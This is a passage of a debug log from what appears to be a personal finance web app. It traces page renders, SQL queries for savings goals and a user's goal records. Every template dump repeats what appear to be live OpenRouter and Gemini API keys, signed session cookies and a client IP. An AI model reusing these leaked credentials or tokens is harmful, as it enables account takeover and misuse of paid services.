    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Not:A-Brand";v="99", "Google Chrome";v="145", "Chromium";v="145"',
    'sec-ch-ua-mobile': '?0',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/credit-cards',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3A%2B6RDqoa9LbNQEpJ%2BLSRBsA%3D%3D.uK3rccL1x8lYd5SFqDftT%2FqDTpEgqmYSOcezt6LG9mj%2Ba5HWXWj0bWdw89OXs8Z%2Bmpr0jCzAb5TXuHc15ZrTBeVWBoGd6ocOX35iz3eAvE9%2BENNmG2KbXEN0Y04fipXe1QjTp5iRCGoGKU7C4x9oyz2Eu%2Fftr2FdwEj%2B6M7FWBs%3D.GdSMYrKDlg%2FBMGjmRcFujoNDJj9jJc%2FDYBOyH3G6ekE; your_r_git.sid=s%3A5PiKAgd_owRIDVKAZ242MbQ1MogSg3T1.CeNuc%2F3jQPjd8M%2BkbEQKtCc2hThz94%2F3FnOOac67sJ0',
    'x-forwarded-for': '65.20.70.39',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-03-14T06:45:32.065Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/credit-cards',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '65.20.70.39',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/credit-cards',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Not:A-Brand";v="99", "Google Chrome";v="145", "Chromium";v="145"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/credit-cards',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3A%2B6RDqoa9LbNQEpJ%2BLSRBsA%3D%3D.uK3rccL1x8lYd5SFqDftT%2FqDTpEgqmYSOcezt6LG9mj%2Ba5HWXWj0bWdw89OXs8Z%2Bmpr0jCzAb5TXuHc15ZrTBeVWBoGd6ocOX35iz3eAvE9%2BENNmG2KbXEN0Y04fipXe1QjTp5iRCGoGKU7C4x9oyz2Eu%2Fftr2FdwEj%2B6M7FWBs%3D.GdSMYrKDlg%2FBMGjmRcFujoNDJj9jJc%2FDYBOyH3G6ekE; your_r_git.sid=s%3A5PiKAgd_owRIDVKAZ242MbQ1MogSg3T1.CeNuc%2F3jQPjd8M%2BkbEQKtCc2hThz94%2F3FnOOac67sJ0',
    'HTTP_X_FORWARDED-FOR': '65.20.70.39',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2026-03-13T06:46:33.175Z server-connect:router Serving templateView /goal
2026-03-13T06:46:33.175Z server-connect:app Executing action step identify
2026-03-13T06:46:33.175Z server-connect:app options: { provider: 'security' }
2026-03-13T06:46:33.175Z server-connect:output identity: 1
2026-03-13T06:46:33.175Z server-connect:app Executing action step restrict
2026-03-13T06:46:33.175Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-03-13T06:46:33.176Z server-connect:output restrict: undefined
2026-03-13T06:46:33.176Z server-connect:router Render template goal
2026-03-13T06:46:33.176Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Not:A-Brand";v="99", "Google Chrome";v="145", "Chromium";v="145"',
    'sec-ch-ua-mobile': '?0',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/goal',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3A%2B6RDqoa9LbNQEpJ%2BLSRBsA%3D%3D.uK3rccL1x8lYd5SFqDftT%2FqDTpEgqmYSOcezt6LG9mj%2Ba5HWXWj0bWdw89OXs8Z%2Bmpr0jCzAb5TXuHc15ZrTBeVWBoGd6ocOX35iz3eAvE9%2BENNmG2KbXEN0Y04fipXe1QjTp5iRCGoGKU7C4x9oyz2Eu%2Fftr2FdwEj%2B6M7FWBs%3D.GdSMYrKDlg%2FBMGjmRcFujoNDJj9jJc%2FDYBOyH3G6ekE; your_r_git.sid=s%3A5PiKAgd_owRIDVKAZ242MbQ1MogSg3T1.CeNuc%2F3jQPjd8M%2BkbEQKtCc2hThz94%2F3FnOOac67sJ0',
    'x-forwarded-for': '65.20.70.39',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-03-14T06:45:32.065Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/goal',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '65.20.70.39',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/goal',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Not:A-Brand";v="99", "Google Chrome";v="145", "Chromium";v="145"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/goal',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3A%2B6RDqoa9LbNQEpJ%2BLSRBsA%3D%3D.uK3rccL1x8lYd5SFqDftT%2FqDTpEgqmYSOcezt6LG9mj%2Ba5HWXWj0bWdw89OXs8Z%2Bmpr0jCzAb5TXuHc15ZrTBeVWBoGd6ocOX35iz3eAvE9%2BENNmG2KbXEN0Y04fipXe1QjTp5iRCGoGKU7C4x9oyz2Eu%2Fftr2FdwEj%2B6M7FWBs%3D.GdSMYrKDlg%2FBMGjmRcFujoNDJj9jJc%2FDYBOyH3G6ekE; your_r_git.sid=s%3A5PiKAgd_owRIDVKAZ242MbQ1MogSg3T1.CeNuc%2F3jQPjd8M%2BkbEQKtCc2hThz94%2F3FnOOac67sJ0',
    'HTTP_X_FORWARDED-FOR': '65.20.70.39',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2026-03-13T06:46:33.436Z server-connect:router Serving serverConnect /api/goals/list
2026-03-13T06:46:33.436Z server-connect:app Executing action step identify
2026-03-13T06:46:33.436Z server-connect:app options: { provider: 'security' }
2026-03-13T06:46:33.436Z server-connect:output identity: 1
2026-03-13T06:46:33.436Z server-connect:app Executing action step restrict
2026-03-13T06:46:33.436Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-03-13T06:46:33.437Z server-connect:router Serving serverConnect /api/goals/recent_transaction
2026-03-13T06:46:33.437Z server-connect:output restrict: undefined
2026-03-13T06:46:33.437Z server-connect:app Executing action step custom
2026-03-13T06:46:33.437Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT \n' +
      '    tm.*,\n' +
      '\n' +
      '    -- Total saved per goal\n' +
      '    COALESCE(SUM(tt.credit - tt.debit), 0) AS total_saved,\n' +
      '\n' +
      '    -- Last transaction date\n' +
      '    MAX(tt.created_on) AS last_transaction_date,\n' +
      '\n' +
      '    -- % achieved per goal\n' +
      '    ROUND(\n' +
      '        CASE \n' +
      '            WHEN tm.amount > 0 \n' +
      '            THEN (COALESCE(SUM(tt.credit - tt.debit), 0) / tm.amount) * 100\n' +
      '            ELSE 0\n' +
      '        END,\n' +
      '    2) AS percentage_achieved,\n' +
      '\n' +
      '    -- 🔥 Grand total saved (all goals)\n' +
      '    SUM(COALESCE(SUM(tt.credit - tt.debit), 0)) OVER () AS grand_total_saved,\n' +
      '\n' +
      '    -- 🔥 Grand total target (all goals)\n' +
      '    SUM(tm.amount) OVER () AS grand_total_target\n' +
      '\n' +
      'FROM target_master tm\n' +
      'LEFT JOIN target_transaction tt \n' +
      '    ON tm.id = tt.target_id\n' +
      '\n' +
      "WHERE tm.status != 'Completed'\n" +
      '\n' +
      'GROUP BY tm.id\n' +
      'ORDER BY tm.created_on DESC;',
    params: [ [Object] ]
  }
}
2026-03-13T06:46:33.437Z server-connect:app Executing action step identify
2026-03-13T06:46:33.437Z server-connect:app options: { provider: 'security' }
2026-03-13T06:46:33.437Z server-connect:output identity: 1
2026-03-13T06:46:33.437Z server-connect:app Executing action step restrict
2026-03-13T06:46:33.437Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-03-13T06:46:33.439Z server-connect:output restrict: undefined
2026-03-13T06:46:33.439Z server-connect:app Executing action step paged
2026-03-13T06:46:33.439Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'target_transaction' },
    primary: 'id',
    joins: [ [Object] ],
    orders: [ [Object] ],
    query: 'select `target_transaction`.`target_id`, `target_transaction`.`credit`, `target_transaction`.`debit`, `target_transaction`.`created_on`, `tm`.`name` from `target_transaction` left join `target_master` as `tm` on `tm`.`id` = `target_transaction`.`target_id` where `tm`.`status` <> ? and (`target_transaction`.`target_id` = ?) order by `target_transaction`.`created_on` DESC limit ?',
    limit: 10,
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    }
  }
}
2026-03-13T06:46:33.440Z server-connect:output list: [
  {
    id: 10,
    name: 'House',
    amount: 4000000,
    description: 'My dream house',
    userid: 1,
    created_on: 2026-02-24T12:06:23.000Z,
    status: 'Not Started',
    category: 'Home',
    total_saved: '0',
    last_transaction_date: null,
    percentage_achieved: '0.00',
    grand_total_saved: '0',
    grand_total_target: '4100000'
  },
  {
    id: 9,
    name: 'Emergency Fund',
    amount: 100000,
    description: 'Emergency liquid fund',
    userid: 1,
    created_on: 2026-02-24T12:05:59.000Z,
    status: 'Not Started',
    category: 'Home',
    total_saved: '0',
    last_transaction_date: null,
    percentage_achieved: '0.00',
    grand_total_saved: '0',
    grand_total_target: '4100000'
  }
]
2026-03-13T06:46:33.441Z server-connect:output list: {
  offset: 0,
  limit: 10,
  total: 0,
  page: {
    offset: { first: 0, prev: 0, next: 0, last: -10 },
    current: 1,
    total: 0
  },
  data: []
}
2026-03-13T06:46:35.749Z server-connect:router Serving templateView /todo
2026-03-13T06:46:35.750Z server-connect:app Executing action step identify
2026-03-13T06:46:35.750Z server-connect:app options: { provider: 'security' }
2026-03-13T06:46:35.750Z server-connect:output identity: 1
2026-03-13T06:46:35.750Z server-connect:app Executing action step restrict
2026-03-13T06:46:35.750Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-03-13T06:46:35.750Z server-connect:output restrict: undefined
2026-03-13T06:46:35.750Z server-connect:router Render template todo
2026-03-13T06:46:35.750Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Not:A-Brand";v="99", "Google Chrome";v="145", "Chromium";v="145"',
    'sec-ch-ua-mobile': '?0',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/todo',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3A%2B6RDqoa9LbNQEpJ%2BLSRBsA%3D%3D.uK3rccL1x8lYd5SFqDftT%2FqDTpEgqmYSOcezt6LG9mj%2Ba5HWXWj0bWdw89OXs8Z%2Bmpr0jCzAb5TXuHc15ZrTBeVWBoGd6ocOX35iz3eAvE9%2BENNmG2KbXEN0Y04fipXe1QjTp5iRCGoGKU7C4x9oyz2Eu%2Fftr2FdwEj%2B6M7FWBs%3D.GdSMYrKDlg%2FBMGjmRcFujoNDJj9jJc%2FDYBOyH3G6ekE; your_r_git.sid=s%3A5PiKAgd_owRIDVKAZ242MbQ1MogSg3T1.CeNuc%2F3jQPjd8M%2BkbEQKtCc2hThz94%2F3FnOOac67sJ0',
    'x-forwarded-for': '65.20.70.39',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-03-14T06:45:32.065Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/todo',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '65.20.70.39',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/todo',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Not:A-Brand";v="99", "Google Chrome";v="145", "Chromium";v="145"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/todo',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3A%2B6RDqoa9LbNQEpJ%2BLSRBsA%3D%3D.uK3rccL1x8lYd5SFqDftT%2FqDTpEgqmYSOcezt6LG9mj%2Ba5HWXWj0bWdw89OXs8Z%2Bmpr0jCzAb5TXuHc15ZrTBeVWBoGd6ocOX35iz3eAvE9%2BENNmG2KbXEN0Y04fipXe1QjTp5iRCGoGKU7C4x9oyz2Eu%2Fftr2FdwEj%2B6M7FWBs%3D.GdSMYrKDlg%2FBMGjmRcFujoNDJj9jJc%2FDYBOyH3G6ekE; your_r_git.sid=s%3A5PiKAgd_owRIDVKAZ242MbQ1MogSg3T1.CeNuc%2F3jQPjd8M%2BkbEQKtCc2hThz94%2F3FnOOac67sJ0',
    'HTTP_X_FORWARDED-FOR': '65.20.70.39',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2026-03-13T06:46:37.549Z server-connect:router Serving templateView /house-planner
2026-03-13T06:46:37.550Z server-connect:app Executing action step identify
2026-03-13T06:46:37.550Z server-connect:app options: { provider: 'security' }
2026-03-13T06:46:37.550Z server-connect:output identity: 1
2026-03-13T06:46:37.550Z server-connect:app Executing action step restrict
2026-03-13T06:46:37.550Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-03-13T06:46:37.550Z server-connect:output restrict: undefined
2026-03-13T06:46:37.550Z server-connect:router Render template house-planner
2026-03-13T06:46:37.551Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Not:A-Brand";v="99", "Google Chrome";v="145", "Chromium";v="145"',
    'sec-ch-ua-mobile': '?0',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/house-planner',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3A%2B6RDqoa9LbNQEpJ%2BLSRBsA%3D%3D.uK3rccL1x8lYd5SFqDftT%2FqDTpEgqmYSOcezt6LG9mj%2Ba5HWXWj0bWdw89OXs8Z%2Bmpr0jCzAb5TXuHc15ZrTBeVWBoGd6ocOX35iz3eAvE9%2BENNmG2KbXEN0Y04fipXe1QjTp5iRCGoGKU7C4x9oyz2Eu%2Fftr2FdwEj%2B6M7FWBs%3D.GdSMYrKDlg%2FBMGjmRcFujoNDJj9jJc%2FDYBOyH3G6ekE; your_r_git.sid=s%3A5PiKAgd_owRIDVKAZ242MbQ1MogSg3T1.CeNuc%2F3jQPjd8M%2BkbEQKtCc2hThz94%2F3FnOOac67sJ0',
    'x-forwarded-for': '65.20.70.39',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-03-14T06:45:32.065Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/house-planner',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '65.20.70.39',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/house-planner',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Not:A-Brand";v="99", "Google Chrome";v="145", "Chromium";v="145"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/house-planner',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3A%2B6RDqoa9LbNQEpJ%2BLSRBsA%3D%3D.uK3rccL1x8lYd5SFqDftT%2FqDTpEgqmYSOcezt6LG9mj%2Ba5HWXWj0bWdw89OXs8Z%2Bmpr0jCzAb5TXuHc15ZrTBeVWBoGd6ocOX35iz3eAvE9%2BENNmG2KbXEN0Y04fipXe1QjTp5iRCGoGKU7C4x9oyz2Eu%2Fftr2FdwEj%2B6M7FWBs%3D.GdSMYrKDlg%2FBMGjmRcFujoNDJj9jJc%2FDYBOyH3G6ekE; your_r_git.sid=s%3A5PiKAgd_owRIDVKAZ242MbQ1MogSg3T1.CeNuc%2F3jQPjd8M%2BkbEQKtCc2hThz94%2F3FnOOac67sJ0',
    'HTTP_X_FORWARDED-FOR': '65.20.70.39',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2026-03-13T06:46:37.801Z server-connect:router Serving templateView /
2026-03-13T06:46:37.801Z server-connect:app Executing action step identify
2026-03-13T06:46:37.801Z server-connect:app options: { provider: 'security' }
2026-03-13T06:46:37.801Z server-connect:output identity: 1
2026-03-13T06:46:37.801Z server-connect:app Executing action step restrict
2026-03-13T06:46:37.801Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-03-13T06:46:37.802Z server-connect:output restrict: undefined
2026-03-13T06:46:37.802Z server-connect:app Executing action step restrict
2026-03-13T06:46:37.802Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-03-13T06:46:37.802Z server-connect:output restrict: undefined
2026-03-13T06:46:37.802Z server-connect:router Render template layouts/main
2026-03-13T06:46:37.802Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
